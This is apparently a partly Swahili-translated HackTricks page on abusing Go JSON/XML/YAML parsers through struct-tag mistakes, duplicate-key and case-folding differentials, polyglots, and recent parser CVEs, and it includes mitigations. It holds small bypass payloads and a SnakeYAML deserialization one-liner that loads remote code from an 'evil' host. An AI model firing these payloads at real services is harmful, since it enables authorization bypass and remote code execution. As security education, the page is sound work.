JSON, XML & Yaml Hacking & Masuala

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Go JSON Decoder

Masuala yafuatayo yaligunduliwa kwenye Go JSON ingawa yanaweza kuwepo pia katika lugha nyingine. Masuala haya yalichapishwa katika this blog post.

Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to kupita kando ya uthibitishaji, kuinua ruhusa, or kuondoa data nyeti.

(Un)Marshaling Data Isiyotarajiwa

Lengo ni kutumia structs zinazomruhusu mshambuliaji kusoma/kuandika mashamba nyeti (mfano, IsAdmin, Password).

  • Mfano Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Udhaifu za kawaida
  1. Missing tag (hakuna tag = uwanja bado unachambuliwa kwa chaguo-msingi):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. Matumizi yasiyo sahihi ya -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Njia sahihi ya kuzuia uwanja usifanywe (un)marshaled:

type User struct {
IsAdmin bool `json:"-"`
}

Tofauti za Parseri

Lengo ni ku-bypass idhini kwa kuchukua faida ya jinsi parser tofauti zinavyotafsiri payload ile ile kwa njia tofauti, kama katika:

  • CVE-2017-12635: Apache CouchDB bypass kupitia funguo zilizojirudia
  • 2022: Zoom 0-click RCE kupitia utofauti wa XML parser
  • GitLab 2025 SAML bypass kupitia tabia zisizo za kawaida za XML

1. Sehemu Zilizojirudia: Go’s encoding/json huchukua sehemu ya mwisho.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Parser wengine (mfano, Java’s Jackson) wanaweza kuchukua kwanza.

2. Kutokutofautisha Herufi: Go haifanyi utofauti kati ya herufi kubwa na ndogo:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Hata mbinu za Unicode zinafanya kazi:

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Kutokubaliana kati ya huduma: Fikiria:

  • Proxy imeandikwa kwa Go
  • AuthZ service imeandikwa kwa Python

Mshambuliaji anatumia:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python inaona UserAction, inaikubali
  • Go inaona AdminAction, inaitekeleza

Mchanganyiko wa Muundo wa Data (Polyglots)

Lengo ni kuchukua fursa ya mifumo inayochanganya muundo (JSON/XML/YAML) au kushindwa kufunga kwenye makosa ya parser kama:

  • CVE-2020-16250: HashiCorp Vault ilichanganua JSON kwa parser ya XML baada STS ilirudisha JSON badala ya XML.

Mshambulizi anadhibiti:

  • Header ya Accept: application/json
  • Udhibiti wa sehemu ya mwili wa JSON

XML parser ya Go ilichanganua hilo hata hivyo na kuamini utambulisho uliingizwa.

  • Payload iliyotengenezwa:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Matokeo:

  • Go JSON parser: Action_2 (haizingatii utofauti wa herufi kubwa/dogo + mwisho hushinda)
  • YAML parser: Action_1 (hujali utofauti wa herufi kubwa/dogo)
  • XML parser: huchambua "Action_3" ndani ya string

Udhaifu Muhimu wa Parser (2023-2025)

Masuala yafuatayo yanayoweza kutumiwa hadharani yanaonyesha kuwa uchambuzi usio salama ni tatizo la lugha nyingi — si tatizo la Go pekee.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Inaathiri: org.yaml:snakeyaml < 2.0 (inayotumika na Spring-Boot, Jenkins, n.k.).
  • Chanzo kuu: new Constructor() inafanya deserialization ya arbitrary Java classes, ikiruhusu gadget chains ambazo zinafikia remote-code execution.
  • One-liner PoC (itafungua calculator kwenye mwenyeji dhaifu):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Suluhisho / Kupunguza:
  1. Sasisha hadi ≥2.0 (inatumia SafeLoader kwa chaguo-msingi).
  2. Katika matoleo ya zamani, tumia waziwazi new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Inaathiri: libyaml ≤0.2.5 (maktaba ya C inayotumiwa na bindings nyingi za lugha).
  • Tatizo: Kupiga yaml_event_delete() mara mbili husababisha double-free ambayo wadukuzi wanaweza kuibadilisha kuwa DoS au, katika baadhi ya matukio, heap exploitation.
  • Hali: Upstream ilikataa kama “API misuse”, lakini distributions za Linux zilitumwa patched 0.2.6 ambazo hufanya null-frees pointer kwa kujilinda.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Inaathiri: Tencent RapidJSON kabla ya commit 8269bc2 (<1.1.0-patch-22).
  • Mende: Katika GenericReader::ParseNumber() hesabu isiyotambuliwa inaruhusu wadukuzi kutengeneza nambari kubwa sana ambazo zinapinda na kuharibu heap — hatimaye kuruhusu privilege-escalation wakati object graph iliyotokana inapotumika kwa maamuzi ya uthibitisho.

🔐 Kupunguzwa (Imesasishwa)

HatariSuluhisho / Mapendekezo
Minda isiyojulikana (JSON)decoder.DisallowUnknownFields()
Minda zinazorudiwa (JSON)❌ Hakuna suluhisho katika stdlib — thibitisha kwa jsoncheck
Mechi isiyozingatia utofauti wa herufi (Go)❌ Hakuna suluhisho — thibitisha struct tags + pre-canonicalize input
Takataka za XML / XXETumia parser imara (encoding/xml + DisallowDTD)
Vifunguo visivyotambulika (YAML)yaml.KnownFields(true)
Deserialization hatari ya YAMLTumia SafeConstructor / sasisha hadi SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeSasisha hadi 0.2.6 au toleo lililorekebishwa na distro
RapidJSON kabla ya commit iliyorekebishwaCompile against latest RapidJSON (≥July 2024)

Angalia pia

Mass Assignment Cwe 915

Marejeo

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks